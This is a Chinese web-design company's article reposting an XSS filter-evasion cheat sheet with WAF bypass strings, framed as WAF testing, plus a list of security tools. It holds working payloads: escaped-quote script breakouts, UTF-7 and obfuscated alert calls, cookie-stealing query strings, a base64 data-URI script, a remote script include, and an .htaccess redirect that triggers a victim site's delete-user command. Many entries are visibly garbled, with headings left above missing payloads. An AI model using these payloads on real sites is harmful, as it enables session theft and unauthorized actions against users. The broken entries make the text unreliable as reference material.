RELATEED CONSULTING
相关咨询
选择下列产品马上在线沟通
服务时间:8:30-17:00
你可能遇到了下面的问题
关闭右侧工具栏

新闻中心

这里有您想知道的互联网营销解决方案
如何绕过XSS的防护

今天就跟大家聊聊有关如何绕过XSS的防护,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

创新互联成立10年来,这条路我们正越走越好,积累了技术与客户资源,形成了良好的口碑。为客户提供成都网站制作、网站建设、外贸网站建设、网站策划、网页设计、域名与空间、网络营销、VI设计、网站改版、漏洞修补等服务。网站是否美观、功能强大、用户体验好、性价比高、打开快等等,这些对于网站建设都非常重要,创新互联通过对建站技术性的掌握、对创意设计的研究为客户提供一站式互联网解决方案,携手广大客户,共同发展进步。

下面列出了一系列XSS攻击,可用于绕过某些XSS防御filter。针对输入进行过滤是不完全是XSS的防御方法,可以使用这些payload来测试网站在防护XSS攻击方面的能力,希望你的WAF产品能拦截下面所有的payload。

正文

XSS攻击原理:

攻击者向有XSS漏洞的网站中置入精心构造恶意的HTML代码,当用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。

XSS攻击可以分成两种类型:一种是非持久型XSS攻击 一种是持久型XSS攻击。

反射型:请求地址上加入恶心的HTML代码。

如何绕过XSS的防护

dom型:api向网站注入一些恶意的HTML代码

如何绕过XSS的防护

持久性:攻击者把恶意代码提交到后台数据库中,当用户下次打开的时候就会从后台接收这些恶意的代码。

如何绕过XSS的防护

防范:

    前端通过转义来进行防范和过滤

    后端主要是通过WAF正则+OWASP规则+XSS语义分析+机器学习payload特征进行防卫。

普通的XSS JavaScript注入:

很可能会被过滤,建议先尝试一下(现代浏览器中都不需要引号,因此此处将其省略)

XSS有效负载,该测试将在多个上下文中执行,包括html,脚本字符串,js和url:

javascript:/*-->

使用JavaScript指令的IMG SRC XSS,注: IE7.0在图像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:

没有引号也没分号情况:

大小写混淆的 XSS攻击payload:

HTML实体,必须使用分号:

同时使用双引号和单引号,则可以使用重音符来封装JavaScript字符串,因为许多跨站点脚本过滤器都不知道重音符:

畸形的a标签,跳过HREF属性:

xxs link

Chrome浏览器喜欢为替换丢失的引号,Chrome会将其放在正确的位置,并在URL或脚本上修复丢失的引号。

xxs link

格式错误的IMG标签,封装在引号中的IMG标签内创建我们的XSS矢量,为了纠正草率的编码。这将使正确解析HTML标记变得更加困难:

">

fromCharCode源字符码,不允许任何类型的引号,可以在JavaScript中eval()a fromCharCode来创建所需的XSS向量:

默认SRC标记可获取过去检查SRC域名的filter,这将绕过大多数SRC域过滤器。在事件方法中插入javascript还将适用于任何使用Form,Iframe,Input,Embed等元素的HTML标记类型注入。这还将允许您将标记类型的任何相关事件替换为onbluronclick从而为您提供大量的这里列出的许多注射的变化:

保留默认的SRC标签为空:

Default SRC tag by leaving it out entirely,完全忽略src:

错误提示 onerror alert:

IMG onerror and javascript alert 编码:

Decimal HTML character references,十进制字符引用,在标记内使用javascript:指令的所有XSS示例都无法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中运行):

十进制html字符引用,without trailing semicolons,同上+没有尾随分号,这在尝试查找“&#XX;”的XSS中通常很有效,因为大多数人都不了解填充-总共最多7个数字字符。这对于使用$ tmp_string =〜s /.*\&#(\ d +);。* / $ 1 /;等字符串进行解码的人也很有用。这错误地假设需要使用分号来终止html编码的字符串:

十六进制html字符引用,without trailing semicolons,不带尾部分号:

嵌入标签,用于破坏跨站点脚本攻击:

嵌入编码标签,用于分解XSS:

嵌入换行分解XSS:

Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details

嵌入carriage返回分解 XSS:

\x0D是十六进制,也就是13所对就在的ASCII码字符,也就是回车符

null分解js指令,但是空字符%00更有用,它帮助我绕过了某些现实世界的过滤器:

perl -e 'print "";' > out

XSS图像中JavaScript之前的空格和元字符:

错误地假设引号和“javascript:”关键字之间不能有空格,则这非常有用。实际情况是,您可以使用小数点后1-32之间的任何字符

非字母非数字XSS:

Firefox HTML解析器假设非alpha非数字在HTML关键字后无效,认为它是HTML标记后的空白或无效标记。

一些XSS过滤器假定它们要查找的标记被空白分隔开。例如“

Gecko呈现引擎允许在事件处理程序和等号之间使用除字母、数字或封装字符(如引号、尖括号等)以外的任何字符,从而更容易绕过跨站点脚本块。

多余的开放括号:

某些检测引擎使用成对的开闭尖括号,然后对标签进行比较,

双斜线注释了结束的无关括号,以抑制JavaScript错误。

<

没有结束脚本tag:

在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您实际上不需要这个跨站点脚本向量的“>”部分。

Firefox assumes it's safe to close the HTML tag and add closing tags for you。

标记,Opera中工作,Netscape在IE呈现模式下工作,,

将自己的JavaScript注入其中,但是服务器端应用程序会转义某些引号,您可以通过转义它们的转义字符来绕过这些引号。

当它被注入时,它将读取,最后将取消对双引号的转义,并导致跨站点脚本向量触发。

\";alert('XSS');//

如果对嵌入的数据应用了正确的JSON或Javascript转义,而不是HTML编码,则完成脚本块并启动。

结束标签tag:

关闭标记的简单XSS向量,可以封装恶意跨站点脚本攻击。</p><p>

INPUT image:

BODY image:

IMG Dynsrc:

IMG lowsrc:

List-style-image:

处理为项目符号列表嵌入图像的相当深奥的问题,这只适用于IE呈现引擎。不是一个特别有用的跨站点脚本。

  • XSS

    VBscript in an image:

    Livescript(仅限旧版本的Netscape):

    SVG对象标记:

    SVG object tag:

    ECMAScript 6:

    Set.constructor`alert\x28document.domain\x29```

    BODY tag:

    不需要使用“javascript:”或“

    可以在等号前加一个空格(“οnlοad=”!=“οnlοad=”)。

    事件句柄:

    FSCommand() (攻击者可以在嵌入式Flash对象中执行此操作)

    onAbort() (当用户中止加载图像时)

    onActivate() (当对象设置为活动元素时)

    onAfterPrint() (在用户打印或预览打印作业后激活)

    onAfterUpdate() (更新源对象中的数据后在数据对象上激活)

    onBeforeActivate() (在对象设置为活动元素之前激发)

    onBeforeCopy() (攻击者在将选定内容复制到剪贴板之前执行攻击字符串-攻击者可以使用execCommand(“Copy”)函数执行此操作)

    onBeforeCut() (攻击者在剪切选定内容之前执行攻击字符串)

    onBeforeDeactivate() (从当前对象更改activeElement后立即激发)

    onBeforeEditFocus() (在可编辑元素中包含的对象进入UI激活状态之前,或在选中可编辑容器对象时激发)

    onBeforePaste() (需要诱使用户粘贴或使用execCommand(“粘贴”)函数强制用户粘贴)

    onBeforePrint() (需要诱使用户进行打印,否则攻击者可以使用print()或execCommand(“print”)函数).

    onBeforeUnload() (需要诱使用户关闭浏览器-攻击者无法卸载windows,除非它是从父级派生的)

    onBeforeUpdate() (在更新源对象中的数据之前在数据对象上激活)

    onBegin() (onbegin事件在元素的时间线开始时立即激发)

    onBlur() (如果加载了另一个弹出窗口and window looses focus)

    onBounce() (当选取框对象的behavior属性设置为“alternate”并且选取框的内容到达窗口的一侧时激发)

    onCellChange() (当数据提供程序中的数据更改时触发)

    onChange() (“选择”、“文本”或“文本区域”字段失去focus,其值已被修改)

    onClick() (有人点击表单)

    onContextMenu() (用户需要鼠标右击攻击区域)

    onControlSelect() (当用户要对对象进行控件选择时触发)

    onCopy() (用户需要复制某些内容,或者可以使用execCommand(“copy”)命令利用它)

    onCut() (用户需要复制某些内容,或者可以使用execCommand(“Cut”)命令利用它)

    onDataAvailable() (用户需要更改元素中的数据,否则攻击者可以执行相同的功能)

    onDataSetChanged() (当数据源对象公开的数据集更改时触发)

    onDataSetComplete() (触发以指示数据源对象中的所有数据都可用)

    onDblClick() (用户双击表单元素或链接)

    onDeactivate() (当activeElement从当前对象更改为父文档中的另一个对象时激发)

    onDrag() (要求用户拖动对象)

    onDragEnd() (要求用户拖动对象)

    onDragLeave() (要求用户将对象拖离有效位置)

    onDragEnter() (要求用户将对象拖到有效位置)

    onDragOver() (要求用户将对象拖到有效位置)

    onDragDrop() (用户将对象(如文件)放到浏览器窗口中)

    onDragStart() (在用户启动拖动操作时发生)

    onDrop() (用户将对象(如文件)放到浏览器窗口中)

    onEnd() (当时间线结束时,onEnd事件将触发)

    onError() (加载文档或图像会导致错误)

    onErrorUpdate() (当更新数据源对象中的关联数据时出错时,对数据绑定对象触发)

    onFilterChange() (在视觉筛选器完成状态更改时触发)

    onFinish() (当选取框完成循环时,攻击者可以创建攻击)

    onFocus() (当窗口获得焦点时,攻击者执行攻击字符串)

    onFocusIn() (当窗口获得焦点时,攻击者执行攻击字符串)

    onFocusOut() (当窗口失去焦点时,攻击者执行攻击字符串)

    onHashChange() (当文档当前地址的片段标识符部分更改时触发)

    onHelp() (当用户在窗口处于焦点时点击F1时,攻击者执行攻击字符串)

    onInput() (元素的文本内容通过用户界面更改)

    onKeyDown() (用户按下键触发)

    onKeyPress() (用户按下或按住键)

    onKeyUp() (用户松开按键)

    onLayoutComplete() (用户必须打印或打印预览)

    onLoad() (攻击者在窗口加载后执行攻击字符串)

    onLoseCapture() (可被releaseCapture()方法利用)

    onMediaComplete() (当使用流媒体文件时,此事件可能在文件开始播放之前触发)

    onMediaError() (用户在浏览器中打开包含媒体文件的页面,当出现问题时触发事件)

    onMessage() (当文档收到消息时触发)

    onMouseDown() (攻击者需要让用户单击图像)

    onMouseEnter() (光标在对象或区域上移动)

    onMouseLeave() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)

    onMouseMove() (攻击者需要让用户将鼠标移到图像或表上)

    onMouseOut() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)

    onMouseOver() (光标在对象或区域上移动)

    onMouseUp() (攻击者需要让用户单击图像)

    onMouseWheel() (攻击者需要让用户使用鼠标滚轮)

    onMove() (用户或攻击者会移动页面)

    onMoveEnd() (用户或攻击者会移动页面)

    onMoveStart() (用户或攻击者会移动页面)

    onOffline() (如果浏览器在联机模式下工作并且开始脱机工作,则发生)

    onOnline() (如果浏览器在脱机模式下工作并且开始联机工作,则发生)

    onOutOfSync() (中断元素播放时间线定义的媒体的能力)

    onPaste() (用户需要粘贴或攻击者可以使用execCommand(“粘贴”)函数)

    onPause() (当时间线暂停时,onpause事件将对每个活动的元素(包括body元素)触发)

    onPopState() (当用户导航会话历史记录时激发)

    onProgress() (攻击者会将此用作正在加载的flash电影)

    onPropertyChange() (用户或攻击者需要更改元素属性)

    onReadyStateChange() (用户或攻击者需要更改元素属性)

    onRedo() (用户在撤消事务历史记录中前进)

    onRepeat() (事件在时间线的每次重复中触发一次,第一个完整周期除外)

    onReset() (用户或攻击者重置窗体)

    onResize() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化:)

    onResizeEnd() (用户将调整窗口大小;攻击者可以使用以下内容自动初始化: )

    onResizeStart() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化: )

    onResume() (onresume事件对时间线恢复时变为活动的每个元素(包括body元素)触发)

    onReverse() (如果元素的repeatCount大于1,则每次时间线开始向后播放时都会触发此事件)

    onRowsEnter() (用户或攻击者需要更改数据源中的行)

    onRowExit() (用户或攻击者需要更改数据源中的行)

    onRowDelete() (用户或攻击者需要删除数据源中的行)

    onRowInserted() (用户或攻击者需要在数据源中插入一行)

    onScroll() (用户需要滚动,否则攻击者可以使用scrollBy()函数)

    onSeek() (onreverse事件在时间线设置为沿除forward以外的任何方向播放时触发)

    onSelect() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

    onSelectionChange() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

    onSelectStart() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

    onStart() (在每个选框循环的开始处激发)

    onStop() (用户需要按下停止按钮或离开网页)

    onStorage() (存储区域已更改)

    onSyncRestored() (用户中断元素的播放时间线定义的媒体的能力)

    onSubmit() (需要攻击者或用户提交表单)

    onTimeError() (用户或攻击者将时间属性(如dur)设置为无效值)

    onTrackChange() (用户或攻击者更改播放列表中的playlist)

    onUndo() (用户在撤消事务历史记录中返回)

    onUnload() (当用户单击任何链接或按下后退按钮时,攻击者会强制单击)

    onURLFlip() (当由HTML+TIME(定时交互式多媒体扩展)媒体标记播放的高级流式格式(ASF)文件处理嵌入在ASF文件中的脚本命令时,会触发此事件)

    seekSegmentTime() (这是一个在元素的段时间线上定位指定点并从该点开始播放的方法。该段由一个重复的时间线组成,包括使用AUTOREVERSE属性的反向播放。)

    BGSOUND:

    & JavaScript includes:


    STYLE sheet:

    远程样式表Remote style sheet:

    使用像远程样式表这样简单的东西,您可以包括XSS,因为可以使用嵌入式表达式重新定义样式参数。)

    这仅在IE和Netscape 8.1+的IE渲染引擎模式下有效。

    注意:对于所有这些远程样式表示例,它们都使用body标记,因此除非页面上有向量本身以外的其他内容,否则无法工作。

    因此,如果页面是空白页面,则需要向该页面添加一个字母使其工作

    远程样式表Remote style sheet2:

    工作原理与上述相同,但使用标记,则可以将其删除。

    如果在跨站点脚本攻击中不能有等号或斜线(在现实世界中至少出现过一次),则这非常有用.

    远程样式表Remote style sheet3:

    这只适用于Opera8.0(不再适用于9.x),但相当棘手。根据RFC2616设置,链接头不是HTTP1.1规范的一部分,但是一些浏览器仍然允许它(比如Firefox和Opera)。

    这里的诀窍是,我设置了一个头(基本上与HTTP头中的Link:;REL=style sheet没什么不同),

    而带有跨站点脚本向量的远程样式表正在运行JavaScript,这在FireFox中是不受支持的。

    远程样式表Remote style sheet4:

    这只适用于Gecko渲染引擎,并通过将XUL文件绑定到父页面来工作。我认为讽刺的是,Netscape认为Gecko更安全,因此对绝大多数网站来说都很脆弱。

    带有用于XSS的分解JavaScript的STYLE标记STYLE tags with broken up JavaScript for XSS:

    此XSS有时会将IE发送到无限循环的警报中。

    STYLE attribute using a comment to break up expression使用注释拆分表达式的STYLE属性:

    带表达式的IMG样式:

    这实际上是上述XSS向量的混合,但它确实显示了分离样式标记的难度,就像上面所说的,这可以将IE发送到循环中。

    exp/*

    xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

    STYLE tag (Older versions of Netscape only):

    STYLE tag using background-image:

    STYLE tag using background:

    具有STYLE属性的匿名HTMLAnonymous HTML with STYLE attribute:

    IE6和Netscape 8.1 +在IE渲染引擎模式中并不真正关心你构建的HTML标签是否存在,只要它从一个打开的角度括号和一个字母开始.

    Local htc file本地htc文件:

    这与上面两个跨站点脚本向量略有不同,因为它使用的.htc文件必须与XSS向量位于同一服务器上。

    示例文件的工作方式是:拉入JavaScript并将其作为style属性的一部分运行.

    US-ASCII encoding:

    它使用格式错误的ASCII编码,使用7位而不是8位。此XSS可以绕过许多内容过滤器,

    但仅在主机使用US-ASCII编码传输或您自己设置编码时才起作用。

    这对于web应用程序防火墙跨站点脚本规避比服务器端筛选器规避更有用。

    Apache Tomcat是唯一已知的以US-ASCII编码传输的服务器。

    ¼script¾alert(¢XSS¢)¼/script¾

    META:

    meta-refresh的奇怪之处在于它没有在头中发送referer,因此它可以用于某些类型的攻击,在这些攻击中,您需要删除引用的url。

    META using data:

    指令URL方案。这很好,因为它也没有任何明显包含脚本或JavaScript指令的东西,因为它使用base64编码。

    请参阅RFC2397了解更多详细信息,或在这里或这里编码您自己的。如果您只想对原始HTML或JavaScript进行编码,

    也可以使用下面的XSS计算器,因为它具有Base64编码方法。

    META with additional URL parameter:

    如果目标网站试图查看URL开头是否包含“http://”。

    IFRAME:

    If iframes are allowed there are a lot of other XSS problems as well。

    IFRAME Event based:

    IFrames和大多数其他元素可以使用基于事件的mayhem,如下所示。。。

    FRAME:

    Frames have the same sorts of XSS problems as iframes

    TABLE:

    TD:

    正如上面所述,TD很容易受到包含JavaScript XSS向量的背景的攻击。

    DIV:

    DIV background-image

    DIV background-image with unicoded XSS exploit:

    这已经被稍微修改,以混淆url参数。

    DIV background-image plus extra characters额外字符:

    在IE和Netscape 8.1中的安全站点模式下,在开括号之后、JavaScript指令之前允许的任何错误字符。这些是十进制的,但是当然可以包括十六进制和添加填充。

    可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。

    DIV expression:

    这种方法的一个变体对现实世界中使用冒号和“表达式”之间的换行符的跨站点脚本过滤器是有效的.

    Downlevel-Hidden block:

    仅适用于IE5.0及更高版本,Netscape 8.1适用于IE渲染引擎模式)。有些网站认为评论块中的任何内容都是安全的,因此不需要删除,这就允许我们使用跨站点脚本。

    或者系统可以在某些东西周围添加注释标记,试图使其无害化。如我们所见,这可能不起作用.

    BASE tag:

    在IE和Netscape 8.1中以安全模式工作。您需要//来注释掉下一个字符,这样就不会出现JavaScript错误,XSS标记将呈现。

    此外,这依赖于网站使用动态放置的图像,如“images/image.jpg”,而不是完整路径。

    如果路径包含一个前导正斜杠,如“/images/image.jpg”,则可以从该向量中删除一个斜杠(只要有两个斜杠开始注释,则此操作有效)

    OBJECT tag:

    如果它们允许对象,您还可以注入病毒有效负载以感染用户等,与APPLET标记相同)。链接文件实际上是一个HTML文件,可以包含您的XSS.

    使用嵌入标记可以嵌入包含xss的Flash电影:

    单击此处进行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”属性,则可以降低此风险.

    EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

    org/xss.swf" AllowScriptAccess="always">

    You can EMBED SVG which can contain your XSS vector:

    这个例子只适用于Firefox,但它比Firefox中的上述向量要好,因为它不需要用户打开或安装Flash。

    在flash中使用ActionScript会混淆XSS向量:

    a="get";

    b="URL(\"";

    c="javascript:";

    d="alert('XSS');\")";

    eval(a+b+c+d);

    带有CDATA混淆的XML数据:

    此XSS攻击仅在IE渲染引擎模式下的IE和Netscape 8.1中有效.

    使用XML数据岛生成的嵌入JavaScript的本地托管XML:

    这与上面的相同,但引用的是包含跨站点脚本向量的本地托管(必须位于同一服务器上)XML文件。

    HTML+TIME in XML:

    这只适用于IE呈现引擎模式下的Internet Explorer和Netscape 8.1,请记住,您需要介于HTML和正文标记之间才能工作.

    ">

    假设您只能容纳几个字符,并且它会过滤“.js”:

    您可以将JavaScript文件重命名为图像作为XSS向量.

    SSI (Server Side Includes):

    这需要在服务器上安装SSI才能使用此XSS向量。我可能不需要提及这一点,但如果您可以在服务器上运行命令,无疑会出现更严重的问题.

    PHP:

    需要在服务器上安装PHP才能使用此XSS向量。同样,如果你能像这样远程运行任何脚本,可能会有更可怕的问题.

    echo('IPT>alert("XSS")'); ?>

    IMG Embedded commands:

    当插入此内容的网页(如网页板)位于密码保护之后,并且密码保护与同一域上的其他命令一起工作时,此操作有效。

    这可用于删除用户、添加用户(如果访问该页的用户是管理员)、将凭据发送到其他位置等。。。。这是使用较少但更有用的XSS向量之一.

    IMG Embedded commands part II:

    这更可怕,因为除了它不在您自己的域中之外,没有任何标识使它看起来可疑。

    向量使用302或304(其他也可以)将图像重定向回命令。

    因此,一个普通的实际上可能是一个攻击向量,作为查看图像链接的用户运行命令。

    下面是.htaccess(在Apache下)行来完成向量.

    Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

    Cookie 篡改:

    不可否认,这是相当模糊的,但我看到了几个例子,其中

    还有其他一些站点的例子,其中存储在cookie中的用户名不是从数据库中获取的,而是只显示给访问页面的用户。

    结合这两个场景,您可以修改受害者的cookie,该cookie将以JavaScript的形式显示给他们

    (您还可以使用它来注销或更改他们的用户状态,让他们以您的身份登录,等等)。

    UTF-7 encoding:

    如果XSS所在的页面没有提供页面字符集头,或者任何设置为UTF-7编码的浏览器都可以使用以下内容。

    单击此处获取示例(如果用户的浏览器设置为“自动检测”,并且在Internet Explorer和IE呈现引擎模式下的Netscape 8.1中没有覆盖页面上的内容类型,则不需要charset语句)。

    这在任何现代浏览器中都无法工作,除非更改编码类型,这就是为什么将其标记为完全不受支持的原因。Watchfire在Google的自定义404脚本中发现了这个漏洞

    +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

    使用HTML引号封装的XSS:

    这是IE测试的,你的里程数可能会有所不同。对于允许“

    用于在允许“

    还有另一个xs要避开同一个过滤器,“/\s]+)?)+\s*|\s*)src/i“。

    我知道我说过我不打算讨论缓解技术,但是如果您仍然希望允许

    最后一次XSS攻击是为了躲避,“/\s]+)?)+\s*|\s*)src/i“使用重音符(同样,在Firefox中不起作用).

    下面是一个XSS示例,它打赌regex不会捕获匹配的一对引号,而是会找到任何引号来不正确地终止参数字符串.

    这个XSS仍然让我担心,因为如果不阻止所有活动内容,几乎不可能停止它.

    PT SRC="httx://xss.rocks/xss.js">

    URL字符串规避类:

    假设“http://www.google.com/”在语法上是不允许的.

    IP versus hostname:

    XSS

    URL encoding

    XSS

    Dword encoding:

    注意:还有其他的Dword编码变体-请参阅下面的IP混淆计算器以了解更多详细信息.

    XSS

    Hex encoding十六进制:

    允许的每个数字的总大小大约为240个字符,如您在第二个数字上看到的,并且由于十六进制数字介于0和F之间,因此不需要在第三个十六进制引号上的前导零).

    XSS

    Octal encoding八进制:

    Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

    XSS

    Base64 encoding:

    Mixed encoding:

    让我们混合和匹配基本编码,并加入一些制表符和换行符-为什么浏览器允许这样做,我永远不会知道)。制表符和换行符只有在用引号封装时才起作用。

    XSS

    协议解析旁路:

    (//转换为http:/,这将保存更多的字节)。当空间也是一个问题时(少两个字符会有很长的路要走),

    这真的很方便,而且可以轻松地绕过类似regex的“(ht | f)tp(s)?“//”。

    您也可以将“/”改为“\\”。但是,您确实需要保留斜杠,否则这将被解释为相对路径URL。

    XSS

    Google "feeling lucky" part 1.:

    Firefox使用Google的“感觉幸运”功能将用户重定向到你输入的任何关键词。

    因此,如果你的可利用页面是一些随机关键字的顶部(如你在这里看到的),你可以对任何Firefox用户使用该功能。这使用了Firefox的“keyword:”协议。

    例如,您可以使用如下“keyword:XSS+RSnake”连接多个关键字。从2.0开始,这不再适用于Firefox。

    XSS

    Google "feeling lucky" part 2:

    这使用了一个看起来只适用于Firefox的非常小的技巧,因为如果它是“感觉幸运”功能的实现。

    与下一个不同,这在Opera中不起作用,因为Opera认为这是旧的HTTP基本身份验证仿冒攻击,而不是。这只是一个格式错误的URL。

    如果你点击对话框上的OK,它将工作,但由于错误的对话框,我是说Opera不支持此功能,并且从2.0开始Firefox不再支持此功能。

    XSS

    Google "feeling lucky" part 3:

    这使用了一个格式错误的URL,似乎只在Firefox和Opera中有效,因为如果它们实现了“感觉幸运”功能。

    像上面所有的这些一样,它要求你在Google中的关键字是1(在本例中是“Google”)。

    XSS

    Removing cnames:

    当与上述URL结合使用时,删除“www.”将为正确设置此设置的服务器节省额外的4个字节,总共节省9个字节。

    XSS

    绝对DNS的额外点:

    XSS

    JavaScript link location:

    XSS

    内容替换为攻击向量:

    假设“http://www.google.com/”以编程方式替换为空)。

    实际上,我使用了一个类似的攻击向量来攻击几个独立的真实世界XSS过滤器,

    方法是使用转换过滤器本身(这里是一个示例)来帮助创建攻击向量

    (即:“java ;script:”被转换为“java script:”,它在IE、Netscape 8.1+中以安全站点模式和Opera呈现)。

    XSS

    字符转义序列:

    HTML和JavaScript中字符“<”的所有可能组合。其中大多数不会在框外渲染,但其中许多可以在上述特定情况下渲染。

    <

    %3C

    &lt

    &lt;

    &LT

    &LT;

    <

    <

    <

    <

    <

    <

    &#60;

    &#060;

    &#0060;

    &#00060;

    &#000060;

    &#0000060;

    <

    <

    <

    <

    <

    <

    &#x3c;

    &#x03c;

    &#x003c;

    &#x0003c;

    &#x00003c;

    &#x000003c;

    <

    <

    <

    <

    <

    <

    &#X3c;

    &#X03c;

    &#X003c;

    &#X0003c;

    &#X00003c;

    &#X000003c;

    <

    <

    <

    <

    <

    <

    &#x3C;

    &#x03C;

    &#x003C;

    &#x0003C;

    &#x00003C;

    &#x000003C;

    <

    <

    <

    <

    <

    <

    &#X3C;

    &#X03C;

    &#X003C;

    &#X0003C;

    &#X00003C;

    &#X000003C;

    \x3c

    \x3C

    \u003c

    \u003C

    绕过WAF的方法-跨站点脚本:

    General issues

    Stored XSS:

    如果攻击者设法推动XSS通过过滤器,WAF将无法阻止攻击的传导。在Javascript中反映XSS.

    Example:

    Exploitation: /?xss=500); alert(document.cookie);//

    DOM-based XSS:

    Example:

    Exploitation: /?xss=document.cookie

    XSS via request Redirection:

    通过请求重定向的XSS。

    易受攻击的代码.

    ...

    header('Location: '.$_GET['param']);

    ...

    As well as:

    ...

    header('Refresh: 0; URL='.$_GET['param']);

    ...

    This request will not pass through the WAF:

    /?param=javascript:alert(document.cookie)

    This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

    /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

    WAF ByPass Strings for XSS:

    ">”>’>

    ">

    ">

    过滤器旁路警报混,Filter bypass alarm confusion:

    (alert)(1)

    a=alert,a(1)

    [1].find(alert)

    top[“al”+”ert”](1)

    top[/al/.source+/ert/.source](1)

    al\u0065rt(1)

    top[‘al\145rt’](1)

    top[‘al\x65rt’](1)

    top[8680439..toString(30)](1)

    http://example.com/index.php?user=

    应用程序检测和纠正无效输入的方法是防止XSS的另一个主要弱点。黑名单可能不包括所有可能的攻击字符串,白名单可能过于宽容,清理可能失败,或者某种类型的输入可能被错误地信任并保持未清理状态。

    工具类:

    • OWASP CAL9000

    CAL9000是Web应用程序安全性测试工具的合集,可补充当前Web代理和自动扫描程序的功能集。它作为参考托管在https://1337.yehg.net/CAL9000/上。

    • PHP字符集编码器(PCE) - http://h5k.in/encoding [镜:http://yehg.net/e ]

    此工具可帮助您在65种字符集之间对任意文本进行编码。还提供了JavaScript提供的一些编码功能。

    • HackVertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php

    它为高级字符串操作攻击提供了数十种灵活的编码。

          OWASP WebScar

    WebScarab是一个框架,用于分析使用HTTP和HTTPS协议进行通信的应用程序。

    • XSS-代理 - http://xss-proxy.sourceforge.net/

    XSS-Proxy是高级的跨站点脚本(XSS)攻击工具。

    • ratproxy - http://code.google.com/p/ratproxy/

    一种半自动化的,很大程度上是被动的Web应用程序安全审核工具,基于对复杂Web 2.0环境中现有的用户发起的流量的观察,已针对潜在问题和与安全相关的设计模式进行了精确,灵敏的检测和自动注释,并进行了优化。

    • 代理http : //portswigger.net/proxy/

    Burp代理是用于攻击和测试Web应用程序的交互式HTTP/S代理服务器。

    • OWASP Zed的攻击代理(ZAP) - OWASP_Zed_Attack_Proxy_Project

    ZAP是易于使用的集成渗透测试工具,用于发现Web应用程序中的漏洞。它被设计为具有广泛的安全经验的人使用,因此,它是渗透测试新手的开发人员和功能测试人员的理想选择。ZAP提供了自动扫描程序以及一系列工具,可让您手动查找安全漏洞。

    • OWASP Xenotix XSS漏洞利用框架 - OWASP_Xenotix_XSS_Exploit_Framework

    OWASP Xenotix XSS漏洞利用框架是一个高级的跨站点脚本(XSS)漏洞检测和利用框架。它通过其独特的三重浏览器引擎(Trident,WebKit和Gecko)嵌入式扫描仪提供零误报扫描结果。据称,它具有约1600多个独特的XSS有效负载的全球第二大XSS有效负载,可有效地检测XSS漏洞和WAF绕过。Xenotix脚本引擎允许您通过Xenotix API创建自定义测试用例和附加组件。它与功能丰富的信息收集模块结合在一起,可用于目标侦察。漏洞利用框架包括用于渗透测试和概念验证创建的令人讨厌的XSS漏洞利用模块。

    看完上述内容,你们对如何绕过XSS的防护有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。


    当前题目:如何绕过XSS的防护
    URL地址:http://sczitong.cn/article/pdccsp.html